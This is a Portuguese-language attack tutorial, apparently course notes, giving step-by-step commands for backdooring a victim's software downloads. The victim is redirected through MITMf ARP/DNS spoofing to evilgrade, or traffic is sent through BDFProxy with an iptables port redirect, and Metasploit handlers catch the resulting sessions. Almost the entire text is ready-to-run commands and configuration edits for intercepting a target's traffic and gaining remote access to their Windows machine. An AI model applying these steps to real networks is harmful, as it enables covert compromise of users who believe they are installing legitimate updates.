Devemos fazer um web spoofing para quando a vítima entrar no site que está descrito como virtualhot, em nosso caso (update.speedbit.com) redirecionar o alvo ao evilgrade. Faremos isso com o MITMf
em outra janela
> leafpad /etc/mitmf/mitmf.conf
Para DNS Utilizar a porta 5353 pois ela é mais neutra e não está sendo utilizada e o evilgrade está rodando na porta 53, teríamos um conflito se os dois estiverem na mesma porta.
Nos [[[A]]] records vemos que estamos redirecionando qualquer request de update.speedbit.com para nosso IP
Tudo correto só devemos fazer o MITMf
Agora faremos o ataque MITMF
> mitmf --arp --spoof --gateway (ip do kali) --target (ip do target) -i eth0 --dns
Em outra Janela fazer o comando
> msf Exploit
> show options
podemos ver que temos o nome do Payload
o LHOST correto
Será na porta 8080 (importante)
> Exploit
Agora vai no Alvo e faz atualização do DAP no site oficial.
E podemos ver no Kali que temos conexão com o alvo
Veremos em outro artigo como utilizar o meterpeter para ter acesso total ao alvo em outro artigo
Entrega de Backdoors 2 - Backdoor factory
proxy, Acionar o Backdoor instalando
um programa no site oficial
proxy, Acionar o Backdoor instalando
um programa no site oficial
Utilizar três telas
Na tela um:
Primeiro precisamos configurar algumas configurações do bdf proxy
> Leafpad /etc/bdfproxy/bdfproxy.cfg
Tem que deixar o proxyMode em transparent
Aonde estiver escrito Host em windowsIntelx86 e windowsIntelx64 em todos os HOSTS deve colocar o IP do Atacante (Kali)
Após isso executar o comando para iniciar o bdfProxy
> BDFProxy
Podemos ver o arquivo de verificação de conexões de entrada
Etapa 2. redirecionar a conexão
Precisamos redirecionar qualquer trafego da porta 80 para porta 8080(local em que o proxy está rodando), faremos isso com o iptable, Sistema de controle de filtros para protocolos ipv4
Na segunda tela fazer o comando iptable
> iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
tudo o que for na porta 80 será redirecionado a porta 8080 do Kali, pois são portas de http.
Agora faz o ataque mitmf básico, ainda na segunda tela
> mitmf --arp --spoof --gateway (ip do gateway) --target (ip do target) -i eth0
Etapa 3.
Na terceira tela iniciar o metasploitable para receber as comunicações com o local que está os resources do bdfproxy
Para saber o exato local do bdfproxy:
> updatedb
> locate bdfproxy_msf_resource.rc
> msfconsole -r /urs/share/bdfproxy/bdfproxy_msf_resource.rc
Após o enter ficará assim:
No Windows 10, quando ele baixar o DAP no site original irá abrir a porta para nosso Backdoor
O alvo receberá o arquivo oficial de instalação, porém também estará acionando nosso Backdoor
Backdoor acionado no alvo:
Para ver o acesso:
> sessions -i 1
> sysinfo